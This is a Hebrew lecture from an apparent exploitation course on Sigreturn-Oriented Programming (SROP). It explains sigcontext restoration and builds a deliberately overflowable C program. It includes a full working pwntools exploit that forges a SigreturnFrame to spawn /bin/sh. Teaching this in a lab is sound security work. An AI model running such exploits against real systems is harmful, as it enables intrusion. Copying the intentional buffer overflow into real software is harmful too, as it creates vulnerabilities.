לדלג לתוכן

6.3 SROP הרצאה

בשני השיעורים הקודמים התמודדנו עם אותה בעיה משתי זוויות: מה עושים כשאין מספיק גאדג'טים? ב-6.1 עשינו stack pivoting כדי להעביר את השליטה למקום שבו יש לנו יותר מקום לchain, וב-6.2 ניצלנו את השלד של __libc_csu_init כדי לטעון שלושה אוגרים בלי שלושה גאדג'טים נפרדים. בשיעור הזה נלמד את הטכניקה שלוקחת את הרעיון הזה לקיצוניות: מה אם היה לנו גאדג'ט אחד קסום שטוען את כל האוגרים בבת אחת - rax, rdi, rsi, rdx, rsp, rip, הכל - מערך אחד של בתים שאנחנו שולטים בו במלואו? מסתבר שהגאדג'ט הזה קיים, והוא לא שלנו. הוא של הkernel. קוראים לטכניקה SROP, קיצור של Sigreturn-Oriented Programming, והיא אחת הטכניקות היפות והמפתיעות בכל עולם הexploit.

איך הkernel מטפל בסיגנל - signal handling

כדי להבין את SROP צריך קודם להבין מה קורה כשמגיע סיגנל. נניח שהתהליך שלכם מקבל SIGSEGV או SIGINT, ורשום לו handler. הkernel לא יכול פשוט לקפוץ ל-handler ולשכוח מהמצב הקודם - אחרי שה-handler יסיים, התהליך צריך לחזור בדיוק למקום שבו היה, עם כל האוגרים בדיוק כמו שהיו. אז מה הkernel עושה?

הוא שומר את מצב המעבד כולו על מחסנית המשתמש. הkernel דוחף למחסנית מבנה שנקרא sigcontext (עטוף בתוך ucontext), שמכיל צילום מלא של כל האוגרים ברגע שהסיגנל הגיע: כל אוגרי המטרה הכללית, rsp, rip, eflags, אוגרי המקטע, הכל. רק אחרי שהוא שמר את כל זה, הוא מריץ את ה-handler.

עכשיו החלק המעניין. כשה-handler מסיים ומבצע ret, הוא לא חוזר ישירות לקוד המקורי. הוא חוזר לפיסת קוד קטנה שהkernel הכין, שנקראת trampoline, וכל מה שהיא עושה זה:

mov rax, 15      ; the syscall number of rt_sigreturn
syscall

הקריאה rt_sigreturn היא הקסם. תפקידה: לקחת את מבנה ה-sigcontext שנמצא על המחסנית, ולשחזר ממנו את כל האוגרים בבת אחת. אחרי rt_sigreturn המעבד חוזר בדיוק למצב שהיה לפני הסיגנל, וממשיך לרוץ מהמקום שנשמר ב-rip.

התובנה של SROP - the insight

הנה הטריק, וזה כל השיעור בשורה אחת: הkernel לא בודק שהמסגרת ששוחזרת היא אמיתית. כשמגיעה הקריאה rt_sigreturn, הkernel פשוט קורא את מבנה ה-sigcontext מהמחסנית (מהמקום שאליו rsp מצביע) וטוען ממנו כל אוגר. הוא לא מוודא שאכן נשלח סיגנל, הוא לא מוודא שהמבנה הזה נכתב על ידו, הוא לא בודק שום דבר. אם אנחנו מצליחים:

  1. לשים מבנה sigcontext מזויף על המחסנית, ובו הערכים שאנחנו רוצים בכל אוגר, וגם
  2. לגרום למעבד להריץ rt_sigreturn (קריאה מספר 15) כשה-rsp מצביע למסגרת שלנו,

אז הkernel בעצמו יטען לנו את כל האוגרים לפי המסגרת המזויפת. גאדג'ט אחד שטוען את כל האוגרים, מתנה מהkernel. הטכניקה תוארה במאמר קלאסי של Bosman ו-Bos משנת 2014 בשם "Framing Signals", והיא עובדת עד היום.

הקריאה sigreturn ואיך מפעילים אותה

ב-x86-64 מספר הקריאה של rt_sigreturn הוא 15. כדי להפעיל אותה בתוך ROP chain צריך שני דברים בלבד:

  • לטעון rax = 15,
  • ואז להריץ הוראת syscall.

ברגע שה-syscall רץ עם rax=15, הkernel קורא את המסגרת מ-rsp וטוען את הכל. שימו לב לנקודה עדינה ויפה: להפעלת ה-sigreturn עצמו אנחנו לא צריכים גאדג'ט syscall ; ret, כי אחרי sigreturn אין "חזרה" בכלל - הkernel קופץ ישר ל-rip שקבענו במסגרת. גאדג'ט syscall חשוף מספיק לגמרי.

מסגרת הסיגקונטקסט - the sigcontext frame

מה בדיוק יש במסגרת? זהו סדר האוגרים שהkernel שומר ומשחזר ב-x86-64. pwntools בונה בשבילנו את המבנה המדויק הזה, אבל שווה לראות אותו פעם אחת כדי להבין מה בעצם קורה:

low addresses
+--------------------------+  <-- rsp points here when the sigreturn syscall runs
| ucontext padding         |  (uc_flags, uc_link, uc_stack - pwntools fills these)
+--------------------------+
| r8                       |
| r9                       |
| r10                      |
| r11                      |
| r12                      |
| r13                      |
| r14                      |
| r15                      |
| rdi                      |  <-- first argument for the call
| rsi                      |  <-- second argument
| rbp                      |
| rbx                      |
| rdx                      |  <-- third argument
| rax                      |  <-- syscall number (e.g. 59 = execve)
| rcx                      |
| rsp                      |  <-- the new rsp we'll continue with
| rip                      |  <-- where to jump after the restore
| eflags                   |
| cs, gs, fs, ss           |
+--------------------------+
high addresses

תסתכלו על מה שיש כאן: rax שקובע איזו קריאה נבצע, rdi, rsi, rdx שהם שלושת הארגומנטים הראשונים לפי קונבנציית x86-64, וגם rip שקובע לאן קופצים אחרי השחזור, ו-rsp שקובע איפה תהיה המחסנית. במילים אחרות: אחרי sigreturn אחד אנחנו יכולים להיות במצב rax=59, rdi=&"/bin/sh", rsi=0, rdx=0 ולקפוץ להוראת syscall - וזהו, execve("/bin/sh", NULL, NULL), קיבלנו shell.

מתי SROP זורח - when SROP shines

הטכניקה SROP היא לא תמיד הכלי הנכון. כשיש לכם המון גאדג'טים, pop rdi ; ret ו-pop rsi ; ret ומה שלא יהיה, ROP רגיל פשוט יותר. SROP זורח בדיוק במצב ההפוך, וזה מצב נפוץ בבינארים קטנים וסטטיים או ב-shellcode ממוזער:

  • יש לכם מעט מאוד גאדג'טים - אין pop rsi, אין pop rdx, אין ret2csu נוח.
  • אבל יש לכם הוראת syscall אחת בכתובת קבועה.
  • ויש לכם דרך לקבוע rax = 15.
  • ואתם שולטים בתוכן המחסנית (יש overflow) כדי לשתול את המסגרת המזויפת.

זה הכל. עם ארבעת הדברים האלה אתם יכולים לקבוע כל אוגר, ולכן לבצע כל קריאת מערכת עם כל הארגומנטים. זו הסיבה ש-SROP הוא אחד הכלים החזקים ביותר בבינארים "עניים" בגאדג'טים. בונוס נחמד: כפי שנראה, בתרחיש execve הבסיסי אנחנו אפילו לא נזדקק לאף כתובת מחסנית, ולכן ה-exploit יעבוד גם כש-ASLR פעיל.

איך שולטים ב-rax כדי לקבל 15

השאלה היחידה שנשארה פתוחה היא איך מגיעים ל-rax = 15. יש כמה דרכים, לפי מה שיש בבינארי:

  • הדרך הישירה: גאדג'ט pop rax ; ret. בבינארים סטטיים הוא כמעט תמיד קיים (הוא מסתתר בתוך קוד ה-glibc שהודבק פנימה). דוחפים 15 למחסנית, שולפים ל-rax, וממשיכים ל-syscall.

  • הדרך הערמומית - ניצול ערך החזרה של read: מה עושים אם באמת אין pop rax? נזכרים שקריאת המערכת read מחזירה ב-rax את מספר הבתים שנקראו. אם נגרום ל-read לקרוא בדיוק 15 בתים, נקבל rax = 15 בחינם. אחר כך, אם הזרימה ממשיכה להוראת syscall, קיבלנו sigreturn. זה הטריק הקלאסי כשיש לכם רק syscall וכלום מלבדו.

בשיעור נשתמש בדרך הישירה כי היא נקייה ללימוד, אבל שווה לזכור את הטריק השני - הוא מציל במצבים קיצוניים.

הבינארי לדוגמה

בואו נעבוד עם בינארי מינימלי שמדגים בדיוק את המצב שבו SROP זורח. הוא רק קורא קלט לתוך buffer קטן מדי, בלי שום פונקציית win ובלי גאדג'טים נוחים:

// vuln.c
#include <unistd.h>

void vuln(void) {
    char buf[32];
    read(0, buf, 1024);   // 1024 bytes into a 32-byte buffer - overflow
}

int main(void) {
    vuln();
    return 0;
}

נקמפל אותו סטטי, בלי PIE ובלי canary:

gcc -static -no-pie -fno-stack-protector -o vuln vuln.c

למה סטטי? כי בבינארי סטטי כל קוד ה-glibc מודבק פנימה בכתובות קבועות, ולכן גם הוראת syscall, גם pop rax ; ret, וגם המחרוזת "/bin/sh" נמצאים בבינארי עצמו בכתובות שלא זזות. נאמת עם checksec:

$ checksec --file=./vuln
RELRO           STACK CANARY   NX            PIE
Partial RELRO   No canary      NX enabled    No PIE

הנחות ההגנה מפורשות: NX פעיל (אין shellcode על המחסנית), אין canary (הoverflow לא נתפסת), אין PIE (כתובות הקוד קבועות). read נבחר בכוונה כי הוא קורא בתים גולמיים כולל \x00, כך שכתובות ובתים אפסיים בתוך המסגרת עוברים בלי בעיה.

מציאת הגאדג'טים והמחרוזת

צריך שלושה דברים: הוראת syscall (רצוי syscall ; ret כדי שנוכל גם לשרשר), גאדג'ט pop rax ; ret, וכתובת המחרוזת "/bin/sh". נתחיל עם ROPgadget:

$ ROPgadget --binary vuln | grep -E ': syscall|pop rax ; ret'
0x0000000000441ab6 : pop rax ; ret
0x000000000040137c : syscall ; ret

ואת המחרוזת מחפשים ישירות:

$ ROPgadget --binary vuln --string "/bin/sh"
Strings information
0x00000000004c2f24 : /bin/sh

בקוד נעשה את זה נקי יותר ונתן ל-pwntools למצוא הכל לבד, אבל טוב לראות שהכתובות באמת שם. שימו לב שכולן כתובות נמוכות וקבועות של הבינארי עצמו - זה בדיוק היתרון של no-PIE וסטטי.

בניית המסגרת עם pwntools - SigreturnFrame

הספרייה pwntools נותנת לנו מחלקה שבונה את מסגרת ה-sigcontext במבנה המדויק לפי הארכיטקטורה: SigreturnFrame. מגדירים בה אוגרים כמו שדות של אובייקט, וממירים אותה לבתים. חשוב לקבוע קודם את הארכיטקטורה (למשל דרך context.binary), כי המבנה שונה בין 32 ל-64 ביט:

context.arch = 'amd64'
frame = SigreturnFrame()
frame.rax = constants.SYS_execve   # 59
frame.rdi = binsh                  # pointer to "/bin/sh"
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_addr           # where to jump after the restore
payload = padding + bytes(frame)

הפלט של bytes(frame) הוא כ-248 בתים (0xf8) שכוללים את הpadding הנכון ואת כל האוגרים בסדר הנכון, בדיוק כמו בתרשים למעלה. pwntools כבר ממלא ערכי ברירת מחדל שפויים ל-cs, ל-ss ול-eflags, כך שהקונטקסט המשוחזר יהיה חוקי במצב משתמש. אנחנו רק ממלאים את מה שחשוב לנו.

עכשיו ה-exploit המלא. התוכנית: נדרוס עד return address, נשים pop rax ; ret שיטען 15, נמשיך ל-syscall שיפעיל sigreturn, ומיד אחריו נשים את המסגרת שמסדרת execve("/bin/sh", 0, 0):

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./vuln')

rop         = ROP(elf)
syscall_ret = rop.find_gadget(['syscall', 'ret']).address
pop_rax     = rop.find_gadget(['pop rax', 'ret']).address
binsh       = next(elf.search(b'/bin/sh\x00'))
log.info('syscall=%#x  pop_rax=%#x  binsh=%#x', syscall_ret, pop_rax, binsh)

offset = 40   # measure with cyclic for each binary separately

# the fake frame: execve("/bin/sh", NULL, NULL)
frame = SigreturnFrame()
frame.rax = constants.SYS_execve   # 59
frame.rdi = binsh
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret            # execve doesn't return, so a bare syscall instruction is enough

payload  = b'A' * offset
payload += p64(pop_rax)            # step a: load rax
payload += p64(15)                 # rax = 15 (sigreturn)
payload += p64(syscall_ret)        # step b: syscall -> sigreturn loads the frame
payload += bytes(frame)            # step c: the fake frame sits exactly at rsp

p = process()
p.send(payload)
p.interactive()

מריצים, ומקבלים shell. שימו לב שלא השתמשנו בשום כתובת מחסנית ובשום leak - הכל נגזר מכתובות קבועות בבינארי. לכן ה-exploit הזה יעבוד גם אם ASLR פעיל.

מעקב אחרי הזרימה - step by step

בואו נעקוב בית-אחר-בית כדי שלא יישאר שום קסם. אחרי הoverflow, המחסנית נראית כך (כתובות עולות כלפי מטה):

low addresses (top of stack)
+---------------------------+
| padding 'A' * 40          |  <-- fills buf and saved rbp
+---------------------------+
| pop_rax ; ret address     |  <-- the ret of vuln jumps here
+---------------------------+
| 0x0f  (=15)               |  <-- popped into rax
+---------------------------+
| syscall ; ret address     |  <-- the ret of pop_rax jumps here
+---------------------------+
| bytes(frame) ...          |  <-- rsp points here when the syscall runs
| ...                       |
+---------------------------+
high addresses
  1. vuln מבצעת ret, שולפת את הכתובת של pop rax ; ret וקופצת אליה. rsp מתקדם לשורה הבאה.
  2. pop rax שולף 15 לתוך rax. rsp מתקדם שוב. עכשיו rax = 15.
  3. ה-ret של הגאדג'ט שולף את הכתובת של syscall ; ret וקופץ אליה. rsp מתקדם, ועכשיו הוא מצביע בדיוק על תחילת bytes(frame).
  4. syscall רץ עם rax=15 - זה rt_sigreturn. הkernel קורא את המסגרת מ-rsp, וטוען rax=59, rdi=binsh, rsi=0, rdx=0, rip=syscall.
  5. המעבד קופץ ל-rip שקבענו (הוראת syscall), עכשיו עם rax=59 - זה execve("/bin/sh", NULL, NULL). shell.

זהו כל הקסם. גאדג'ט אחד של הkernel טען לנו ארבעה אוגרים בבת אחת.

כשאין /bin/sh בבינארי - שרשור שתי מסגרות

בבינארי הסטטי שלנו המחרוזת "/bin/sh" נמצאת בפנים, אבל מה עושים כשהיא לא? כאן מתגלה כוח נוסף של SROP: אפשר לשרשר מסגרות. במסגרת אנחנו שולטים גם ב-rsp וגם ב-rip, אז אפשר לבצע קריאה אחת, ואז לחזור לchain שלב שני שמבצעת sigreturn נוסף.

הרעיון: מסגרת ראשונה קוראת ל-read כדי לכתוב "/bin/sh" לאזור כתיב וקבוע (ה-.bss, שכתובתו קבועה כי אין PIE), ומסגרת שנייה מבצעת execve על המחרוזת שכתבנו. הפעם frame.rip של המסגרת הראשונה חייב להיות syscall ; ret דווקא, כי אחרי ש-read יחזור אנחנו רוצים ש-ret יעביר אותנו ל-rsp שקבענו - שם תשב chain שלב שני. את הקוד המלא נראה בפתרון התרגיל השני. הרעיון החשוב שכדאי לקחת: המסגרת נותנת שליטה ב-rsp, ולכן SROP הוא לא רק קריאה בודדת אלא מנוע שרשור מלא.

מלכודות נפוצות

  • ה-offset חייב להיות מדויק. מדדו אותו עם cyclic ו-cyclic_find לכל בינארי בנפרד. אצלי יצא 40, אצלכם עשוי לצאת אחרת בגלל alignment המהדר.
  • חייבים לקבוע את context.arch (או context.binary) לפני שבונים את SigreturnFrame, אחרת המבנה ייבנה לארכיטקטורה הלא נכונה והכל יזוז.
  • המסגרת חייבת לשבת בדיוק במקום שאליו rsp מצביע כשה-syscall של sigreturn רץ. בchain שלנו זה מיד אחרי כתובת גאדג'ט ה-syscall, וזה מה ש-pwntools מצפה לו כשממירים bytes(frame).
  • להפעלת ה-sigreturn עצמו די בהוראת syscall חשופה, אבל לשרשור מסגרות צריך syscall ; ret (כדי שה-ret יעביר לchain הבאה דרך rsp).
  • ודאו ש-rax באמת מגיע ל-15. אם השתמשתם בטריק של ערך החזרה של read, שלחו בדיוק 15 בתים - לא בית פחות ולא בית יותר.
  • ה-syscall של execve צריך rsi=0 ו-rdx=0 (argv ו-envp ריקים). אם תשאירו שם זבל, execve עלול להיכשל עם EFAULT.

סיכום

  • כשמגיע סיגנל, הkernel שומר את כל האוגרים במבנה sigcontext על המחסנית, ובחזרה מהסיגנל (rt_sigreturn, קריאה 15) הוא משחזר את כולם ממנה - בלי לבדוק שהמבנה אמיתי.
  • הטכניקה SROP מנצלת את זה: משתילים מסגרת sigcontext מזויפת על המחסנית, קובעים rax=15, מריצים syscall, והkernel טוען לנו את כל האוגרים בבת אחת. גאדג'ט אחד ששולט בהכל.
  • הטכניקה זורחת כשיש מעט גאדג'טים אבל יש syscall, יש דרך לקבוע rax, ויש overflow שמאפשרת לשתול את המסגרת.
  • קובעים rax=15 עם pop rax ; ret, או בטריק של ערך החזרה של read (לקרוא בדיוק 15 בתים).
  • ב-pwntools בונים את המסגרת עם SigreturnFrame, ממלאים rax/rdi/rsi/rdx/rip, וממירים ל-bytes(frame). המבנה כ-248 בתים.
  • לתרחיש execve("/bin/sh") הבסיסי אין צורך בשום כתובת מחסנית, ולכן ה-exploit עמיד גם ל-ASLR.
  • המסגרת שולטת גם ב-rsp, ולכן אפשר לשרשר כמה מסגרות: קודם read שכותב "/bin/sh" ל-.bss, ואז execve עליו.